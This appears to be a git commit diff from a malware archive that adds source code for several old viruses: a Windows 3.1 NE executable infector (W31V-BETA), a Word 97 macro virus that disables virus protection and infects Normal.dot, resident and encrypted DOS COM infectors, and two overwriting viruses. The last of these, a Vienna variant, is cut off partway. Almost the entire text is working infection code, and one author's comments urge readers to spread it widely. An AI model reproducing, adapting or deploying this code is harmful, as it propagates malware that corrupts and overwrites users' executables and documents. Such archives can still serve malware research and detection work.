re-organize

push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
+330
View File
@@ -0,0 +1,330 @@
;Virus Name: W31V-BETA
;Type : Windows Virus, infects windows executables
;Written by: Stalker X
;
;
;Here it is folks my first windows virus.
;I would firstly just want to say thankyou to qark and quantum for this
;virus is based on the infection of a windows virus as discribed in VLAD-#4
;Ok as you can see parts of this virus is based on WinSurfer, BUT as you
;can also see it's more compact. Instead of using dropper code I used a
;software fuse. This virus also does not go TSR in windows, it infects on
;execute. The reason why I did not make it TSR is because it's to mutch work
;for me :) and secondly well at the rate Windows users restart programs there
;is no need to go TSR!
;This is my first try so bare with me :) ooooh yes all that comments is
;not ment for you the reader ... BUT ME!! :) Frankly I get lost in my own
;code if I don't comment it.
;Ok Assemble this virus as a EXE then run it in the dir of a Win EXE
;This virus only infects one file at a time but it does change dir's to
;find a file. Nothing new exept that it's for windows .. if you don't
;understand what I have written ,,,, then get VLAD-#4
;
;Please do copy this code .. add your own stuff if you want to .. I didn't
;write this so it can sit on a shelf. SO GO WILD.. just don't say you wrote
;the whole thing yourself.... just spread it as far as you can and in
;many diffrent copies as you can.
jumps
.model tiny
.stack 512
.code
.286P
assume cs:@code,ds:@code
org 0
START: pusha ;save all general regs
push si ;save si
push di ;save di
push ds ;save ds
push es ;save es
FUSE: jmp Fused ;first time no DPMI
jmp DPMIdetect ;goto dpmi code
Fused: mov ax,cs ;ax=cs
mov ds,ax ;ds=ax
mov word ptr cs:[FUSE],9090h;blow fuse after 1st run
jmp DPMIFin ;skip dpmi code
DPMIdetect: mov ax,1686h ;check for dpmi
int 2fh ;do check
or ax,ax ;check return
jz DPMIfound ;if 0 then dpmi
jmp EXIT ;exit if no dpmi
DPMIfound: mov ax,000ah ;get alias selector
push cs ;save cs
pop bx ;restore cs in bx
int 31h ;do get alias
push ax ;save ax
pop ds ;restore ax ds
DPMIFin: mov ah,1ah ;set DTA
mov dx,offset DTA ;set DTA ofs
int 21h ;do set DTA
FindFirst: xor cx,cx ;set f attrib
mov ah,4eh ;find first file
mov dx,offset FSPEC ;set fspec
int 21h ;do find it
jc EXIT ;exit if no exe found
Check: call Chk4WinEXE ;check if it's a win exe
cmp [TMP],0 ;check return byte
jz FindNext ;go to next exe if not win
call Infect ;infect the win EXE
mov ah,3eh ;close the exe file
int 21h ;do it
jmp EXIT ;exit to infect only 1 file
FindNext: mov ah,4fh ;find next file
int 21h ;do find it
jnc Check ;go check again for win
ChangeDIR: mov dx,offset DOTDOT ;'..'
mov ah,3bh ;change dir
int 21h ;do change now
jnc FindFirst ;find first file in dir
EXIT: pop es ;restore es
pop ds ;restore ds
pop di ;restore di
pop si ;restore si
popa ;restore all general regs
db 0eah ;far Jmp
ret_ip: dw 0 ;exit program
ret_set dw 0ffffh ;-
Chk4WinEXE: mov dx,offset F_Name ;set file name ofs
mov ax,3d02h ;open file for r/w
int 21h ;do open file
jc ChkExit ;exit on error
mov bx,ax ;save handle in bx
mov si,offset BUFF ;si=offset of buffer
mov ah,3fh ;read function
mov dx,offset BUFF ;dx=offset of buffer
mov cx,512 ;read 512 bytes
int 21h ;do read bytes
cmp byte ptr [si+18h],40h ;check relocation
jb ChkFinF ;exit if not ok
cmp word ptr [si+3ch],400h ;check NE offset
jne ChkFinF ;exit if not ok
cmp word ptr [si+16h],0 ;CS must be 0
jne ChkFinF ;exit if not ok
cmp word ptr [si+14h],0 ;IP must be 0
jne ChkFinF ;exit if not ok
cmp word ptr [si+08h],20h ;check header size
je ChkFin ;exit if not ok
ChkFinF: mov ah,3eh ;close file
int 21h ;do close file
mov [TMP],0 ;return error
retn ;retn
ChkFin: mov [TMP],1 ;return ok
ChkExit: retn ;do it
Infect: mov si,offset BUFF ;si=offset buffer
sub word ptr [si+10h],8 ;move SP back 8 bytes
sub word ptr [si+3ch],8 ;move NE back 8 bytes
mov ax,4200h ;move r/w pointer
xor cx,cx ;cx=0
xor dx,dx ;dx=0
int 21h ;do move r/w pointer
mov ah,40h ;write to file
mov dx,offset BUFF ;set source offset
mov cx,3eh ;write EXE header back
int 21h ;do write header back
mov ax,4200h ;move r/w pointer
xor cx,cx ;cx=0
mov dx,200h ;set to dest
int 21h ;do move r/w pointer
mov ah,40h ;write to file
mov dx,offset winstart ;dx=source offset
mov cx,offset windowsmsgend-offset winstart
int 21h ;write new dos stub
mov ax,4200h ;move r/w pointer
xor cx,cx ;cx=0
mov dx,400h ;set offset
int 21h ;do move r/w pointer
mov ah,3fh ;read from file
mov dx,offset BUFF ;dx=offset of buffer
mov cx,512 ;read header
int 21h ;do read from file
inc word ptr [si+1ch] ;inc segment count
mov ax,word ptr [si+1ch] ;ax=segment count
dec ax ;ax=ax-1
mov cl,8 ;Assume Segs<255
mul cl ;multiply to get bytes
xor dx,dx ;dx=0
add ax,word ptr [si+22h] ;ax=total tab size
adc dx,0 ;add with carry(just incase)
mov cx,512 ;dx:ax/512
div cx ;do it
mov [Move512],ax ;Number of 512pages to mov
mov [MoveLft],dx ;Number of leftover bytes
push word ptr [si+32h] ;save file alignment value
pop [Al_Sh] ;save alignment shift value
mov [Seek],400h ;setup seek var
push word ptr [si+16h] ;save host cs
pop [hostcs] ;save NE cs
push word ptr [si+14h] ;save host ip
pop [hostip] ;save NE ip
mov ax,word ptr [si+1ch] ;ax=number of segments
mov word ptr [si+08h],0 ;clr crc
mov word ptr [si+0ah],0 ;clr crc
mov word ptr [si+14h],0 ;set new ip
mov word ptr [si+16h],ax ;set new cs
mov ax,word ptr [si+22h] ;
cmp word ptr [si+04h],ax ;
jb CmpRes ;
add word ptr [si+04h],8 ;
CmpRes: cmp word ptr [si+24h],ax ;
jb CmpResi ;
add word ptr [si+24h],8 ;
CmpResi: cmp word ptr [si+26h],ax ;
jb CmpModule ;
add word ptr [si+26h],8 ;
CmpModule: cmp word ptr [si+28h],ax ;
jb CmpImp ;
add word ptr [si+28h],8 ;
CmpImp: cmp word ptr [si+2ah],ax ;
jb MoveHead ;
add word ptr [si+2ah],8 ;
MoveHead: mov ax,[Move512] ;loop to move NE head
or ax,ax ;check if counter=0
jz Last ;exit if counter=0
dec [Move512] ;counter=counter-1
mov ax,4200h ;move r/w pointer
xor cx,cx ;cx=0
mov dx,[Seek] ;dx=seek
sub dx,8 ;dx=dx-8
int 21h ;do move r/w pointer
mov ah,40h ;write to file
mov dx,offset BUFF ;dx=source offset
mov cx,512 ;write 512 bytes
int 21h ;do write 512 bytes
add [Seek],512 ;seek=seek+512
mov ax,4200h ;move r/w pointer
xor cx,cx ;cx=0
mov dx,[Seek] ;dx=seek
int 21h ;do move r/w pointer
mov ah,3fh ;read file
mov dx,offset BUFF ;dx=offset buffer
mov cx,512 ;read 512 bytes
int 21h ;do read 512 bytes
jmp MoveHead ;continue to move header
Last: mov ax,4202h ;seek end of file
xor cx,cx ;cx=0
xor dx,dx ;dx=0
int 21h ;do seek
mov cl,byte ptr [Al_Sh] ;cl=shift count
push bx ;save bx
mov bx,1 ;bx=1
shl bx,cl ;calc shift
mov cx,bx ;cx=bx
pop bx ;restore bx
div cx ;divide with shift
mov di,offset BUFF ;di=buffer offset
add di,[MoveLft] ;calc where to patch
mov word ptr [di],ax ;patch insert segment tab
mov word ptr [di+2],offset ALL_VIR
mov word ptr [di+4],180h
mov word ptr [di+6],offset ALL_VIR
mov ax,4200h ;move r/w pointer
xor cx,cx ;cx=0
mov dx,[Seek] ;dx=seek
sub dx,8 ;dx=dx-8
int 21h ;do move r/w pointer
mov ah,40h ;write to file
mov dx,offset BUFF ;dx=source offset
mov cx,[MoveLft] ;write bytes left
add cx,8 ;cx=cx+8 (+segment entry)
int 21h ;do write to file
mov ax,4202h ;seek end of file
xor cx,cx ;cx=0
xor dx,dx ;dx=0
int 21h ;do seek
mov ax,word ptr ds:[ret_ip] ;save link
mov word ptr [si],ax ;save link
mov ax,[ret_set] ;save link
mov word ptr [si+2],ax ;save link
mov word ptr ds:[ret_ip],0 ;setup relocation
mov [ret_set],0FFFFh ;!
mov [relocation],1 ;!
mov [reloc2],3 ;!
mov [reloc3],4 ;!
mov [reloc4],offset ret_ip ;!
mov ah,40h ;write to file
xor dx,dx ;dx=0
mov cx,offset ALL_CODE ;write the hole body
int 21h ;do write
mov ax,word ptr [si] ;restore link
mov word ptr ds:[ret_ip],ax ;restore link
mov ax,word ptr [si+2] ;restore link
mov [ret_set],ax ;restore link
retn ;return from infection
;-Fake win msg
winstart: call windowsmsg
db 'This program requires Microsoft '
db 'Windows.',0dh,0ah,'$'
windowsmsg: pop dx
push cs
pop ds
mov ah,9
int 21h
mov ax,4c01h
int 21h
windowsmsgend:
TMP dw 0
Move512 dw 0
MoveLft dw 0
Al_Sh dw 0
Seek dw 0
DOTDOT db '..',0
FSPEC db '*.exe',0
DTA db 21 dup(0)
Attrib db 0
F_Time dw 0
F_Date dw 0
F_SizeL dw 0
F_SizeH dw 0
F_Name db 13 dup(0)
IDB db 'w31v-BETA'
BUFF db 512 dup(0)
ALL_VIR:
relocation dw 1
reloc2 db 3
reloc3 db 4
reloc4 dw offset ret_ip
hostcs dw 0
hostip dw 0
ALL_CODE:
end START
@@ -0,0 +1,128 @@
'W97/Class.Poppy.B
'Word 97 Class Object Infector
'First Ever Class Object Infetor
Sub AutoOpen()
' AutoOpen Sub In Document
On Error GoTo out
' Handle Errors
Options.VirusProtection = False
' Turn Off Virus Protection
Options.SaveNormalPrompt = False
' Turn Off Normal.dot Save Prompt
Options.ConfirmConversions = False
' Turn Off Conversion Prompt (from 95 -> 97)
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
' Count The Number Of Code Lines In The Document
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
' Count The Number Of Code Lines In The Normal.dot
If nt > 70 And ad > 0 Then GoTo out
' If We Are Installed In Both (Lines > 0 and 72) Then Exit
If nt < 70 Then
' If We Are Not In The Normal.dot (Lines < 72) Then Install Us
Set infect = NormalTemplate.VBProject.VBComponents.Item(1)
' Set Normal.dot Class Section As Infect Object (What We Want To Infect)
ActiveDocument.VBProject.VBComponents.Item(1).Name = infect.Name
' Swamp The Class Section Names (Active Doc <- Normal Template)
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
' Export Our Virus Code
End If
If ad = 0 Then Set infect = ActiveDocument.VBProject.VBComponents.Item(1)
' If We Are Not In The Active Doc (Lines < 0) Then Install Us
If Day(Now) = 14 And (Month(Now) > 5) Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "VicodinES Loves You / Class.Poppy"
' If The Day And Time Are Right Insult The User
infect.codemodule.AddFromFile ("c:\class.sys")
' Use The Infect Object - Import Your Virus Code
With infect.codemodule
' With The Newly Infected Class Object
For x = 1 To 4
' Clean Up The First 4 Lines Of Header-Code
.deletelines 1
' Delete Line 1 - 4 Times
Next x
End With
If nt < 70 Then
' If We Just Infected The Normal.Dot
With infect.codemodule
.replaceline 1, "Sub AutoClose()"
' Change AutoOpen (on line 1) to AutoClose
.replaceline 71, "Sub ToolsMacro()"
' Change Sub ViewVBCode (on line 71) to ToolsMacro
End With
End If
With infect.codemodule
' With The Newly Infected Object
For x = 2 To 72 Step 2
' Use Word Object Data As Polymorpic Code On Every Other Line
.replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow
Next x
End With
out:
If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
' If We Just Infected A Document Save It On Close
End Sub
Sub ViewVBCode()
' Stealth Hook
End Sub
@@ -0,0 +1,195 @@
virus segment public 'code'
assume cs:virus,ds:virus,es:virus
org 0
VirusSize equ VirusEnd-$
Com: call Begin
call Label2
SavedCode:
mov ax,4c00h
int 21h
org SavedCode+5h
Label2: pop si
mov di,100h
push di
movsw
movsw
movsb
ret
Begin: push ds
push es
push ax
xor ax,ax
mov ds,ax
mov ds,ds:[46ah]
cmp Signature,0ACDCh
je Exit
mov ah,4ah
mov bx,-1
int 21h
sub bx,VirusParas1
jb Exit
add bh,10h
mov ah,4ah
int 21h
mov ah,48h
mov bx,VirusParas2
int 21h
jb Exit
dec ax
mov es,ax
inc ax
mov es:[1],ax
mov es,ax
push cs
pop ds
call Label1
Label1: pop si
sub si,offset Label1
xor di,di
push di
mov cx,VirusSize
rep movsb
pop ds
mov ax,ds:[84h]
mov word ptr es:OldInt21[0],ax
mov ax,ds:[86h]
mov word ptr es:OldInt21[2],ax
mov byte ptr ds:[467h],0eah
mov word ptr ds:[468h],offset NewInt21
mov ds:[46ah],es
mov word ptr ds:[84h],7
mov word ptr ds:[86h],46h
Exit: pop ax
pop ds
pop es
ret
Header db 0e9h
dw 0
Signature dw 0ACDCh
NewInt21:
cmp ah,4bh
jne on1
jmp exec
on1: cmp ah,4eh
je find
cmp ah,4fh
je find
jmp EOI
Db ' As wolfs among sheep we have wandered '
Find: call interrupt ; call orginal interrupt
jc Ret1 ; error ?
pushf ; save registers
push ax
push bx
push es
mov ah,2fh
call interrupt
mov al,es:[bx+16h] ; get file-time (low byte)
and al,1fh ; seconds
cmp al,1fh ; 62 seconds ?
jne FileOk ; no, file not infected
sub word ptr es:[bx+1ah],VirusSize ; change file-size
sbb word ptr es:[bx+1ch],0
Time: xor byte ptr es:[bx+16h],10h ; adjust file-time
FileOk: pop es ; restore registers
pop bx
pop ax
popf
ret1: retf 2
Exec: push ax
push bx
push cx
push dx
push ds
mov ax,3d02h
call Interrupt
jc short Error
push cs
pop ds
mov bx,ax
mov ah,3fh
mov cx,5h
mov dx,offset SavedCode
call DOS
cmp word ptr cs:SavedCode,'ZM'
je short TheEnd
ComFile:cmp word ptr cs:SavedCode[3],0ACDCh
je short TheEnd
mov al,02h
call Seek
or dx,dx
cmp ah,0f6h
je short Close
sub ax,5
inc ax
inc ax
mov word ptr ds:Header[1],ax
mov ax,5700h
call dos
push cx
push dx
mov ah,40h
mov cx,VirusSize
xor dx,dx
call DOS
mov al,00h
call Seek
mov ah,40h
mov cx,5
mov dx,offset Header
call dos
Close: mov ax,5701h
pop dx
pop cx
or cl,1fh
call dos
TheEnd: mov ah,3eh
call Interrupt
Error: pop ds
pop dx
pop cx
pop bx
pop ax
EOI: db 0eah ; jmp 0:0
OldInt21 dd 026b1465h
Seek: mov ah,42h
xor cx,cx
xor dx,dx
DOS: call Interrupt
jnc Ok
pop ax
jmp Close
Interrupt:
pushf
call cs:OldInt21
Ok: ret
VirusEnd equ $
VirusParas1 equ (VirusSize+1fh)/10h+1000h
VirusParas2 equ (VirusSize+0fh)/10h
virus ends
end
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,54 @@
;WASMVir --> A lame overwriting virus to demonstrate WASM
;Overwrites all files in the current directory
;By Lord Natas
org 100h
Start
mov ah,4eh
mov cx,7
mov dx,offset FileSpec
Virus
;----- find file
int 21h
jc EndV
;----- open file
mov ax,3d01h
mov dx,9eh
int 21h
jc Close
xchg bx,ax
;----- write file
mov ah,40h
mov cl,Length
mov dx,offset Start
int 21h
Close
;----- close file
mov ah,3eh
int 21h
mov ah,4fh
jmps Virus
EndV
db 00C3h ;"RET"
;----- data
db 'WASMVir'
FileSpec db '*.COM',0
TheEnd
Length equ offset TheEnd - offset Start
@@ -0,0 +1,225 @@
Model Tiny
.code
.286
org 100h
start:
push cs
push offset Entry
retf
db 'DrWeb - £®à¡ãå !'
BEG_LEN equ $-start
Entry:
pusha
push ds
push es
call En1
EN_LEN equ $-Entry
En1:
push ds
pop es
xchg ax,di
pop bp
sub bp,EN_LEN
mov bx,1100h
mov ah,4ah
int 21h
jnc ALLOCATED
Exit_Proc:
pop es
pop ds
popa
push cs
push si
retf
ALLOCATED:
mov ax,LBL
add ax,bp
mov cl,4
shr ax,cl
inc ax
push ds
pop bx
add ax,bx
push ax
push cs
pop ds
pop es
LBL10:
mov si, bp
cld
xor cx,cx
add si, Crypt_Start
LBL0:
mov ax,word ptr ds:[si]
inc cx
mov bx,word ptr ds:[si+2]
inc cx
xchg ah,al
inc cx
xchg bh,bl
inc cx
xchg ax,bx
xor ax,0BEBEh
xor bx,0BEBEh
mov word ptr ds:[si],ax
mov word ptr ds:[si+2],bx
add si,4
cmp cx, Crypt_LEN
jge LBL1
jmp short LBL0
LBL1:
Crypt_Start equ $-Entry
mov ah,1ah
mov dx,bp
add dx,Crypt_End
mov bx,dx
int 21h
push es
push cs
pop es
mov di,100h
mov si,bp
add si,Old_BEGIN
mov cx,BEG_LEN
rep movsb
pop es
cld
mov ah,4eh
mov cx, 20h
mov dx,bp
add dx,C_Mask
Interrupt:
int 21h
jb Not_Found
jmp Test_File
Not_Found:
mov ah,1ah
mov dx,80h
int 21h
jmp Exit_Proc
Test_File:
push bx
add bx,1ah
mov ax,[bx]
and ax,0f000h
cmp ax,0f000h
jnz Len_Tested
Find_Next:
pop bx
mov ah,4fh
jmp Short Interrupt
Len_Tested:
add bx,04h
xchg dx,bx
mov ax,3d02h
int 21h
xchg ax,bx
mov ah,3fh
mov cx,BEG_LEN
mov dx,bp
add dx,Old_BEGIN
push dx
int 21h
pop si
cmp byte ptr ds:[si+14h],'!'
je Close_File
jmp short Uses_File
Close_File:
mov ah,3eh
int 21h
jmp Find_Next
Uses_File:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
push ax
cld
mov si,bp
xor di,di
mov cx, Crypt_End / 2
rep movsw
pusha
push es
pop ds
xor cx,cx
mov si, Crypt_Start
LBL_0:
mov ax,word ptr ds:[si]
inc cx
mov bx,word ptr ds:[si+2]
inc cx
xchg ah,al
inc cx
xchg bh,bl
inc cx
xchg ax,bx
xor ax,0BEBEh
xor bx,0BEBEh
mov word ptr ds:[si],ax
mov word ptr ds:[si+2],bx
add si,4
cmp cx, Crypt_LEN
jge LBL_1
jmp short LBL_0
LBL_1:
popa
mov ah,40h
mov cx,Crypt_End
xor dx,dx
int 21h
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
push cs
pop ds
pop ax
pop si
push si
mov di,bp
add ax,100h
add di,New1
inc di
mov [di],ax
mov ah,40h
mov dx,bp
add dx,New_BEGIN
mov cx,BEG_LEN
int 21h
jmp Close_File
C_MASK equ $-Entry
db '*.com',0h
New_BEGIN equ $-Entry
push cs
LI:
New1 equ $-Entry
push offset Entry
retf
Apll equ $-Entry
Rems equ $-LI
db 'DrWeb - £®à¡ãå !'
Old_BEGIN equ $-Entry
db 0c3h
db BEG_LEN-1 dup (90h)
db 'RedArc // [TAVC]'
Crypt_End equ $-Entry
Crypt_LEN equ $-LBL1
DTA db 80h dup (?)
LBL equ $-Entry
end start
@@ -0,0 +1,232 @@
;----------------------------------------------------------------------------
; ‚¨àãá Web415
; ‘¥¬¥©á⢮ Search
;----------------------------------------------------------------------------
; (c) 1997 by I. Dikshew // [TAVC] // -=* Red Arc *=-
;----------------------------------------------------------------------------
Model Tiny
.Code
.286
org 100h
start:
push cs
push offset Entry
retf
db 'DrWeb - £®à¡ãå !'
BEG_LEN equ $-start
Entry:
pusha
push ds
push es
call En1
EN_LEN equ $-Entry
En1:
push ds
pop es
xchg ax,di
pop bp
sub bp,EN_LEN
mov bx,1100h
mov ah,4ah
int 21h
jnc ALLOCATED
Exit_Proc:
pop es
pop ds
popa
push cs
push si
retf
ALLOCATED:
mov ax,LBL
add ax,bp
mov cl,4
shr ax,cl
inc ax
push ds
pop bx
add ax,bx
push ax
push cs
pop ds
pop es
LBL10:
mov si, bp
cld
xor cx,cx
add si, Crypt_Start
LBL0:
mov ax,word ptr ds:[si]
inc cx
mov bx,word ptr ds:[si+2]
inc cx
xchg ah,al
inc cx
xchg bh,bl
inc cx
xchg ax,bx
xor ax,0BEBEh
xor bx,0BEBEh
mov word ptr ds:[si],ax
mov word ptr ds:[si+2],bx
add si,4
cmp cx, Crypt_LEN
jge LBL1
jmp short LBL0
LBL1:
Crypt_Start equ $-Entry
mov ah,1ah
mov dx,bp
add dx,Crypt_End
mov bx,dx
int 21h
push es
push cs
pop es
mov di,100h
mov si,bp
add si,Old_BEGIN
mov cx,BEG_LEN
rep movsb
pop es
mov byte ptr ds:[bp+Count],0
cld
mov ah,4eh
mov cx, 20h
mov dx,bp
add dx,C_Mask
Interrupt:
int 21h
jb Not_Found
jmp Test_File
Not_Found:
mov ah,1ah
mov dx,80h
int 21h
jmp Exit_Proc
Test_File:
push bx
add bx,1ah
mov ax,[bx]
and ax,0f000h
cmp ax,0f000h
jnz Len_Tested
Find_Next:
pop bx
mov ah,4fh
jmp Short Interrupt
Len_Tested:
add bx,04h
xchg dx,bx
mov ax,3d02h
int 21h
xchg ax,bx
mov ah,3fh
mov cx,BEG_LEN
mov dx,bp
add dx,Old_BEGIN
push dx
int 21h
pop si
cmp byte ptr ds:[si+14h],'!'
je Close_File
jmp short Uses_File
Close_File:
mov ah,3eh
int 21h
mov al,byte ptr ds:[bp+Count]
cmp al,1
jne Find_Next
pop bx
jmp Not_Found
Uses_File:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
push ax
cld
mov si,bp
xor di,di
mov cx, Crypt_End / 2
rep movsw
pusha
push es
pop ds
xor cx,cx
mov si, Crypt_Start
LBL_0:
mov ax,word ptr ds:[si]
inc cx
mov bx,word ptr ds:[si+2]
inc cx
xchg ah,al
inc cx
xchg bh,bl
inc cx
xchg ax,bx
xor ax,0BEBEh
xor bx,0BEBEh
mov word ptr ds:[si],ax
mov word ptr ds:[si+2],bx
add si,4
cmp cx, Crypt_LEN
jge LBL_1
jmp short LBL_0
LBL_1:
popa
mov ah,40h
mov cx,Crypt_End
xor dx,dx
int 21h
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
push cs
pop ds
pop ax
pop si
push si
mov di,bp
add ax,100h
add di,New1
inc di
mov [di],ax
mov ah,40h
mov dx,bp
add dx,New_BEGIN
mov cx,BEG_LEN
int 21h
mov byte ptr ds:[bp+Count],1
jmp Close_File
C_MASK equ $-Entry
db '*.com',0h
New_BEGIN equ $-Entry
push cs
LI:
New1 equ $-Entry
push offset Entry
retf
Apll equ $-Entry
Rems equ $-LI
db 'DrWeb - £®à¡ãå !'
Old_BEGIN equ $-Entry
db 0c3h
db BEG_LEN-1 dup (90h)
Count equ $-Entry
db ?
db 'RedArc // [TAVC]'
Crypt_End equ $-Entry
Crypt_LEN equ $-LBL1
LBL equ $-Entry
end start
@@ -0,0 +1,35 @@
;|
;| WEFLOW 1993 VIRUS BY TESLA 5
;|
;| THIS VIRUS IS BASED ON THE TRIDENT OVERWRITING VIRUS. SORRY FOR
;| LAMING AROUND, BUT IT KEEPS VARIANTS RISING. GREETINGS TO TRIDENT,
;| NUKE, PHALCON/SKISM AND YAM. YOU DON'T KNOW ME, BUT I DO...
;|
ORG 100H
MAIN: MOV AH,4EH
NOTSOCOOL: LEA DX,FF
INT 21H
JNC COOL
RET
COOL: MOV AX,3D02H
MOV DX,9EH
INT 21H
XCHG AX,BX
MOV CL,VLEN
MOV AH,40H
INT 21H
MOV AH,3EH
INT 21H
MOV AH,4FH
JMP NOTSOCOOL
FF DB '*.*',0
DB 'WEFLOW93'
VLEN EQU $-MAIN
@@ -0,0 +1,597 @@
; Westmont: A vienna strain
; This is a variation on the Vienna virus which has had sections of its
; code moved around and rewritten in hopes that AV software will
; not be able to recognize it. The seconds flag used to make sure
; that a file isn't infected twice has been modified to 61. The
; check for DOS v1.x has been deleted. Thanks to 40Hex for the
; source to the original Vienna. What a novice (me) can do with
; well documented code!
;------------------------------------------------------------------------------
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
;*****************************************************************************
;Start out with a JMP around the remains of the original .COM file, into the
;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
;The rest of the file (first 3 bytes) are stored in the virus data area.
;*****************************************************************************
VCODE: JMP virbeg
;This was the rest of the original .COM file. Tiny and simple, this time
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
;************************************************************
; The actual virus starts here
;************************************************************
v_start equ $
virbeg: JMP codesrt ; Jump around signature
DB "Westmont",0
DB "Ender"
codesrt:
CALL memtrick ; Call offset setting procedure
JMP find_path ; Start ifect routine
;**********************************************************************
; Here when it's time to close it up & end
;**********************************************************************
all_done:
PUSH DS
;**********************************************************************
; Restore old DTA
;**********************************************************************
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
;*************************************************************************
; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
; in since the address in a real JMP 100 is an offset, and the offset
; varies from one infected file to the next. By PUSHing an 0100H onto the
; stack, we can RET to address 0100H just as though we JMPed there.
;**********************************************************************
quit:
POP CX
XOR AX,AX
XOR BX,BX
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
; Infection routine
; ~~~~~~~~~~~~~~~~~
;************************************************************
; Find the "PATH=" string in the environment
;************************************************************
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
;************************************************************
; Loop to check for the next four characters
;************************************************************
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
;**********************************************************
; Look in the PATH for more subdirectories, if any
;**********************************************************
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
;**********************************************************
; Here if there are more subdirectories in the path
;**********************************************************
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
;***********************************************************
; Move subdirectory name into file name workspace
;***********************************************************
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
;******************************************************************
; Mark the fact that we're looking through the final subdirectory
;******************************************************************
moved_last_one:
MOV SI,0
;******************************************************************
; Here after we've moved a subdirectory
;******************************************************************
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
NOP
;******************************************************************
; Make sure subdirectory ends in a "\"
;******************************************************************
CMP CH,'\' ;Ends with "\"?
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
;******************************************************************
; Here after we know there's a backslash at end of subdir
;******************************************************************
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
;*******************************************************************
; Find first string matching *.COM
;*******************************************************************
MOV AH,4EH
MOV DX,wrk_spc
; NOP ;MASM will add this NOP here
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
JMP SHORT find_first
;*******************************************************************
; Find next ASCIIZ string matching *.COM
;*******************************************************************
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
;*******************************************************************
; Here when we find a file
;*******************************************************************
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1FH ;Mask to remove all but seconds
CMP AL,1FH ;62 seconds -> already infected
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
;********************************************************************
; Move the name to the end of the path
;********************************************************************
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
;********************************************************************
; Get File Attributes
;********************************************************************
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc ;Point to \path\name in workspace
; NOP ;MASM will add this NOP here
ADD DX,SI
INT 21H
MOV [SI+old_att],CX ;Save the old attributes
;********************************************************************
